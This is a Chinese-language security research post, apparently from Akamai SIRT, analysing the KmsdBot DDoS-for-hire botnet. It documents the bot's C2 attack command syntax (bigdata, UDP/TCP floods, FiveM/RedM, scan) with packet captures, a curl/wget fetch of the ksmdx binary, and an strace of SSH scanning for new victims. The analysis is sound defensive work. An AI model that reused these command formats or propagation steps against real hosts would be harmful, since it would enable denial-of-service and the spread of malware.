KmsdBot 命令控制模拟及其攻击流量分析
编辑和内容补充:Tricia Howard
执行摘要
前言
去年 11 月,我们的蜜罐捕捉到了一个加密挖矿僵尸网络。我们的安全情报响应团队 (SIRT) 对其开展了分析,并将其命名为 KmsdBot。它在试验了一种新配置之后感染了蜜罐,其部分源站较为值得关注。我们一直在对 KmsdBot 开展分析和试验,包括修改二进制代码,使其指向我们自己的命令和控制 (C2) 服务器,在此过程中,我们亲眼见证了攻击者 造成该僵尸网络崩溃。
在持续研究中,我们决定记录 KmsdBot 接收并实际实现的各种命令。我们目前测试的环境支持路由 C2,并将攻击流量发送到特定主机,也就是说,我们可以检查不同攻击命令发出的流量。作为参考,该爬虫程序通过 GET 和 POST 请求,使用 TCP、UDP、HTTP 和 HTTPS 协议发起第 4 层和第 7 层攻击。
初步分析
在对该恶意软件进行分析时,我们通过搜索“move absolute”指令找到了一些命令字符串(图 1)。
在查看用于将数据载入寄存器的其他指令后,我们找到了更多命令。这次的指令是 lea,也就是加载有效地址指令(图 2)。据此,我们分析了 C2 服务器的不同字符串位置(图 3)。
分析攻击流量
根据攻击流量的 tcpdump,部分可用命令似乎尚未完全实现,只能发送默认数据包或空数据包。未实现的命令大多是切实有效的 UDP 命令的 TCP 版本。但通过观察确实有效的命令,我们可以找到一些独特的攻击模式。
第一个比较引人关注的攻击称为“bigdata”,它向指定端口发送 1 Mb 的 POST 请求。Content-Type 标头表示攻击负载使用的是 URL 编码,但在检查后,我们发现这似乎只是垃圾内容。此攻击的目标是在各请求正文中发送大量数据,从而增加各数据包在处理请求时需要占用的带宽。这是一种非常基本的功能,几乎所有 DDoS 攻击活动都会用到,根据我们的观察,这也是该僵尸网络中最常用的功能之一。
!bigdata <target> 22 600 3
20:45:31.121974 IP <infected>.51214 > <target>.80: Flags [P.], seq 7241:14481, ack 1, win 502, options [nop,nop,TS val 931669114 ecr 1577041762], length 7240: HTTP
E..|..@.@.Y..*G..*G(...P.^.&.).O.....
.....
7.$z]..b18uSfkWchTJkErN0hFunGPegITykuWPbcVUI30GnUv8MGHSWRr0txvItdKFnUcKWCmftyrshUkDqNWgKqN1sHPlZUwSm2JQ3a8T0YCJsZZdIZ4ygppFITi6tGicpEM11paeEQcSmLPzCHY6VVN7Yd7zl58GShIvCVKdubLJBS64pvpYql5SWGZpv9TIOie9abaoY1h8NXy.
.
.
5Y29QAAzIKaiY9Nixq2IlfWn9iirDg9Bdhi4VPNFeff3QLoL5CEoOy0YPrEv4c6FiqrbmsbSiUpw4dVtYqOWZF1lLHtbXTPPlcZWTFlCmpvThwrNetuKdnYUpIVrINryurKdCfeLbNOM7oJ2duL33R7k2TXO2NvIqWdtBNd4PqboRthW0fxCcB5
除了 !bigdata之外,我们还看到了 !tcpbigdata 和 !udpbigdata。这些命令发送的攻击负载并不大,分别是 SYN 和 UDP 数据包。其功能似乎与标准的 bigdata 相同,它们会增加数据包大小,从而加大这些数据包给服务器造成的压力,但也提供了一定的控制能力——支持在 SYN 与 UDP 流量之间进行选择。
通过使用 SYN 泛洪方法,攻击者即可滥用 TCP 协议中用到的三方握手,在许多不同的端口上建立半开放状态的连接。这造成目标服务器难以处理流量,区分合法连接请求与恶意连接请求更是难上加难。UDP 攻击的优势在于不需要三方握手,因此攻击者端所需的开销更少,对目标发起攻击的难度更低。如果目标未能正确设定限值,此攻击就能以较少的供给资源发挥效力。
!udpbigdata <target> 223 120
14:34:03.823443 IP <infected>.44790 > <target>.80: UDP, length 541
E..9c.@.@..R.*G..*G(...P.%.."..y.A.>.9..)S^2...c.R.G.i~i%....=t..}8MRuu(.'a.%.b..n.~....p.....v./....8..C...53*.v.."{.-...Xc.GG....5B....Y....I.., rC;.5C... .V`..A.....R..|.M..?.uLq/Je6~..O..w..........;.xH.K'..s.l>.p|..f.O..,Z..C...W.f.^..}@.y..a=.2l... j..w{J..7...z.L....A..Puv1.......s*@.\......~.3.....[:...............7rm...=........4.gR..%....[.t,7..M.0......_........O..~ )rTdW...X.-.Jw.(.8..D5Q..S....OC.oz..u8..8.e...E:i.X.....+c.
.........hA[{|;Y.R.d..r!.H..8....Y....$.w.......Uc..:!.X=.fC...1.Gn...[so..{N3&..h.3.....G...2...g..@.?...xGQ<..r..*...._.7T.j..
还有一些标准的 HTTP(s) POST 和 GET 流量命令融合在标准流量之中,其大小和格式都高度类似于正常数据包,攻击策略的重点并不是通过单个数据包大小放大整体影响。基于 HTTP 的攻击的典型策略是发送大量数据包,而且攻击数据包很难与正常活动使用的数据包区分开来,造成攻击响应机制难以过滤掉攻击数据包。如下所示,这些数据包与正常数据包高度相似。
!post <target> 443 /fle/tracking 120 20 20 100
21:16:50.755007 IP <infected>.44466 > <target>.443: Flags [S], seq 203292974, win 64240, options [mss 1460,sackOK,TS val 933548747 ecr 0,nop,wscale 7], length 0
E..<..@.@....*G..*G(...........................
7...........
21:16:50.755031 IP <target>.443 > <infected>.44466: Flags [R.], seq 0, ack 203292975, win 0, length 0
E..(..@.@.T5.*G(.*G............/P....{..
!get <target> 443 /fle/tracking 30 20 20 100
21:24:23.088733 IP <infected>.48062 > <target>.443: Flags [S], seq 646433585, win 64240, options [mss 1460,sackOK,TS val 934001081 ecr 0,nop,wscale 7], length 0
E..<Ol@.@....*G..*G(....&..1...................
7...........
21:24:23.088751 IP <target>.443 > <infected>.48062: Flags [R.], seq 0, ack 646433586, win 0, length 0
十六进制命令(!udphex 和 !tcphex)包含少量采用十六进制编码的内容。原因可能是某些主机要求内容采用十六进制编码,否则就无法处理命令,或者通过发送这些内容来加大目标服务器解析其中内容的难度。
!udphex <target> 80 80 30 250
21:04:06.915036 IP <infected>.32847 > <target>.80: UDP, length 31
E..;~.@.@..j.*G..*G(.O.P.'......\.j/.....R.u.a..6.J..1.:..$
虽然 udphex/tcphex 命令并不注重数据包大小,但 tcphexclimb/udphexclimb 命令似乎整合了这种通过单个数据包大小放大整体影响的攻击策略。每条命令仅发送一个数据包。执行这些命令时,最初的数据包较小,类似于 udphex 和 tcphex 流量,但随着不断发送更多数据包,单个数据包的大小会增加。在观察此流量一段时间后,我们可以看到,在数据包大小达到指定值之后,它会回到较小的大小,然后再次开始增加,反复重复这样的循环过程。
!udphexclimb <target> 80 60 600
21:38:53.854411 IP <infected>.50706 > <target>.80: UDP, length 1
E...o2@.@....*G..*G(...P. ...
21:38:53.854482 IP <infected>.55293 > <target>.80: UDP, length 181
E.....@.@.os.*G..*G(...P...i............A.>.....;.\...,...R...Z......2.c.....RG.<.`.%9....z....4=.W.:..+.!WA..6j..t.<..m...O /.z3.......]w<.BX..D...Da....SV3ZC...../...x[g......).....D.vP9K7<.`.Sz.=U..3....`f.
21:38:53.867809 IP <infected>.46227 > <target>.80: UDP, length 541
E..9z.@.@....*G..*G(...P.%..em.D..'...A&./wb.
...1
....ESG.v.\S..5.....W.....J.C.>_a..{.B.........Z.......a........_{#nG%...SD.....x`q.p..^~......w@.&.~.&M..l.x.@.h..
...,....q0!......NN~......vf.}<Z.[...-.XS...%.......5......JP(>/...Z..t.........9.`..N*..o..T..z.....h ..F .-.....rat./.VQ.z.....C...}.....2..?`..H...ty.bd[.3.XN.ne.. ..e....r.|..Z'..!ge....]./s..,.{v.n..01.;..R[..~..o.Ze.tP.Rs..x.07fL.Fh.p.5.....I...4..YO..d....#.7Q03.)7.>.o...:T\naG//.....a."...e.g.(.ih.5@...c-...e.EEd..B.qM..}U./
..?H{......"<L>...#.....$.....>".X...!n........bPM.09....\6n.....0.
21:38:53.875122 IP <infected>.41308 > <target>.80: UDP, length 541
E..9.+@.@.w..*G..*G(.\.P.%......[..........:..tZn...812/...8.h5....6.,`....&..4.Un..H(....k.Sex.C.m.# ...].2b(........>.n.h.... .U....Y.[.UG.k.9..\l.."qe.76..lvkf..c...~.NrM..(m?<.F...>5/J9N...SK3.....1....G....)`...c..G..=...............:......#.n...........:..) .n.<. .....%..ja..|.P.(........h6.vEQ..sV.....z VSr....h....... ....1xO...1.C.{..NDX2...5,R}F.Sv.mm@....5...Ss..V.j~a..k9....".3..T&B.*......=....r.
..I.3.q.u.1.
..9t...+...D..?z.D...Lu...oA....%V....#+:...z..&.GVQ..{.......6.dQ.".x...(ch....\......%.. x.d.....U#........ ...f..u...%1..\m.A. .`:B....;....
两条特别的命令比较显著,原因在于其目标似乎是视频游戏模组服务器。我们曾在第一篇博文中指出,最早观察到的 KmsdBot 活动目标是 FiveM。FiveM 和 RedM 这两个平台分别用于托管修改版《侠盗猎车手 V》和《荒野大镖客:救赎 2》服务器,它们允许服务器所有者创建不同的规则,并在服务器中整合单机版游戏不存在的新创意。
这两个命令的存在证实了这种恶意软件属于租用型 DDoS 的怀疑。而游戏、奢侈品牌乃至安全公司等众多行业都成为其攻击目标,这也再次印证了这一理论。
!redm <target> 7777 / 10 10 10 100
21:39:42.156933 IP <infected>.32991 > <target>.80: UDP, length 1
E...u.@.@..o.*G..*G(...P. ...
21:39:42.159173 IP <infected>.51973 > <target>.80: UDP, length 1
E...f.@.@....*G..*G(...P. ..}
21:39:42.199900 IP <infected>.50248 > <target>.80: UDP, length 541
E..9..@.@.d[.*G..*G(.H.P.%..U.~.
'..K....h._ig.o..u+Z^....B+E.9.............../.......S.m.....:.....7.U..Ys)../..........i4#..P...?...D...2e.E....]wo...-.....$.
.FG"..(./..L. ....).......q.l[..R&..A..)._..U.9O..jK<./..W'gSL.."g
i....N.b.a.../...Jq.....S..... .e.e.b.-..<..Q.#.Nr.,u..!L....8.T..NN.. ....v.........b......2oz....Y.p...=#.0c.O..)...^.U.fOy..Y#.:V..U.!..4D.......b..i.....+.w....u...5.*..r.....(.u....!....cfZ...Lw.pY.p.......I.{T...)B..n...w.4_...q.3.9.L..2.X.f...f.....\t...^)...Y....'../Kl......Bm.,8@.......<.`CR....=
..1.`.....$#.9.Q..0.%~.. ..d...iw
21:39:42.208292 IP <infected>.60098 > <target>.80: UDP, length 1
E....A@.@....*G..*G(...P. …
这个僵尸网络会发出一种非常独特的命令,就是 !scan 命令。扫描功能似乎以目标环境中的特定路径为目标,执行三方握手,然后向其发送 curl PUSH 请求和 wget PUSH 请求。扫描似乎还运行了两个不同的二进制文件: kumd 和 kmsd。
!scan <target> <target>/win/kzmds <target> kumd kmsd
15:57:58.460042 IP <infected>.51782 > <target>.80: Flags [S], seq 243112026, win 64240, options [mss 1460,sackOK,TS val 1864816453 ecr 0,nop,wscale 7], length 0
E..<..@.@..;.*G..*G(.F.P.}.Z...................
o&.E........
15:57:58.460085 IP <target>.80 > <infected>.51782: Flags [S.], seq 2021013353, ack 243112027, win 65160, options [mss 1460,sackOK,TS val 2510189102 ecr 1864816453,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.Fxv7i.}.[...............
..r.o&.E....
15:57:58.460097 IP <infected>.51782 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 0
E..4..@.@..B.*G..*G(.F.P.}.[xv7j...........
o&.E..r.
15:57:58.460281 IP <infected>.51782 > <target>.80: Flags [P.], seq 1:89, ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 88: HTTP: GET /x86_64/ksmdx HTTP/1.1
E.....@.@....*G..*G(.F.P.}.[xv7j...........
o&.E..r.GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: curl/7.86.0
Accept: */*
15:58:04.444745 IP <infected>.41264 > <target>.80: Flags [S], seq 148305932, win 64240, options [mss 1460,sackOK,TS val 1864822437 ecr 0,nop,wscale 7], length 0
E..<k3@.@....*G..*G(.0.P.......................
o&..........
15:58:04.444793 IP <target>.80 > <infected>.41264: Flags [S.], seq 3903795483, ack 148305933, win 65160, options [mss 1460,sackOK,TS val 2510195086 ecr 1864822437,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.0..1....................
....o&......
15:58:04.444807 IP <infected>.41264 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 0
E..4k4@.@....*G..*G(.0.P......1............
o&......
15:58:04.444992 IP <infected>.41264 > <target>.80: Flags [P.], seq 1:140, ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 139: HTTP: GET /x86_64/ksmdx HTTP/1.1
E...k5@.@..h.*G..*G(.0.P......1......L.....
o&......GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
我们观察到 kmsd 运行“/x86_64/ksmdx”,因此尝试了在 ksmdx 二进制文件中使用这些参数,以观察其效果。它在端口 22 保持打开状态的情况下开始扫描 IP,这更令人怀疑其目的是搜索其他可感染并纳入僵尸网络的设备。
strace -f ./ksmdx <target> <target>/win/kzmds <target> kumd kmsd
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 28
[pid 4554] connect(28, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("254.105.206.15")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 28, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497619288, u64=140327669114200}}) = 0
[pid 4554] epoll_ctl(4, EPOLL_CTL_DEL, 30, 0xc0001af594) = 0
[pid 4554] close(30) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid 4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("227.46.34.129")}, 16) = -1 ENETUNREACH (Network is unreachable)
[pid 4554] close(30) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid 4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("121.149.127.161")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 30, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497326296, u64=140327668821208}}) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1056
[pid 4554] connect(1056, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("252.117.241.5")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 1056, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497346936, u64=140327668841848}}) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1057
[pid 4554] connect(1057, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("175.81.51.242")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 1057, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497610168, u64=140327669105080}}^Cstrace: Process 4554 detached
<detached ...>
地理位置
除了攻击命令外,我们还将所观察到的目标 IP 和域名对应到了各个地理位置。根据所观察到的 IP 和域名,该僵尸网络的攻击目标绝大部分集中在亚洲、北美和欧洲。
针对俄罗斯领土及其周边地区的攻击活动量明显极少,这或许能成为一种有用的线索,帮助我们确定这些攻击的真正源站。在图 4 中,每个标记都表示 KmsdBot 的至少一次攻击尝试。
跟踪 C2 命令
在初期的一些工作中,我们的工作核心是观察来自 C2 服务器的活动。我们首先以受感染主机的身份加入僵尸网络,然后等待 C2 服务器发来的攻击命令。我们在 Elastic 中记录了这些攻击命令,注明了命令、目标、时间戳和所观察到的其他变量。
这不仅让我们能够观察到所用的攻击功能,也能让我们了解受害者的分布情况,以及每条命令的具体预期用法。通过此过程,我们提取出如下 18 条命令:
post
post1
get
get1
bigdata
fivem
getrand
redm
tcp
tcpbigdata
tcpclimb
tcphex
tcphexclimb
udp
udpbigdata
udphex
udphexclimb
Scan
在看到这些命令的名称时,我们立即发现部分命令的独特性以及所支持的整体多样性。就“bigdata”而言,我们认为其提供形式不仅有独立功能,还有特定于 TCP 的版本和特定于 UDP 的版本。大多数其他命令均类似的方式提供。
另外的一项主要发现是一组针对特定游戏服务器的命令:“fivem”和“redm”。这些命令的存在呼应了先前关于攻击目标游戏服务器的观察结论,也让我们得以一窥这种租用型僵尸网络的客户特点。
图 5 逐一列出了我们在 30 天内观察到的攻击命令,还指明了观察到各命令的频率。
在 70 多条命令中,“bigdata”和“get”命令名列前茅,可能是由于它们是影响力最大的通用攻击。频率排名第三的攻击是“fivem”,调用次数大约是 45 次。我们可以借此了解到,游戏服务器或许是比较明确的目标,但成为这些攻击目标的行业不只有游戏业。
FiveM 命令的使用频率依然比较高,RedM 也偶有使用,但根据命令的执行频率,我们可以确定,受害者组合的多样化程度较高。由于支持多种类型的服务器,该僵尸网络的整体可用性得以提高,并且似乎可以有效吸引客户。
结论
最初分析 KmsdBot 时,它立即引起了我们的关注,原因在于如下几个比较显著的因素:它使用 Go 语言编程、具有加密挖矿功能,而且其目标似乎并无一定之规。通过进一步分析,有证据表明这是一种“DDoS 即服务”,这能解释该僵尸网络的许多耐人寻味的特质。
Akamai SIRT 的目标之一是分析和记录 KmsdBot 等僵尸网络的演变,并将我们的观察结论公之于众。KmsdBot 符合我们观察到的一些整体趋势,尤其是它使用的编程语言。
使用不同编程语言开发恶意代码的做法日渐普及,例如 Go,甚至是经过编译的 Python。威胁格局动态多变,SIRT 将继续密切予以监控。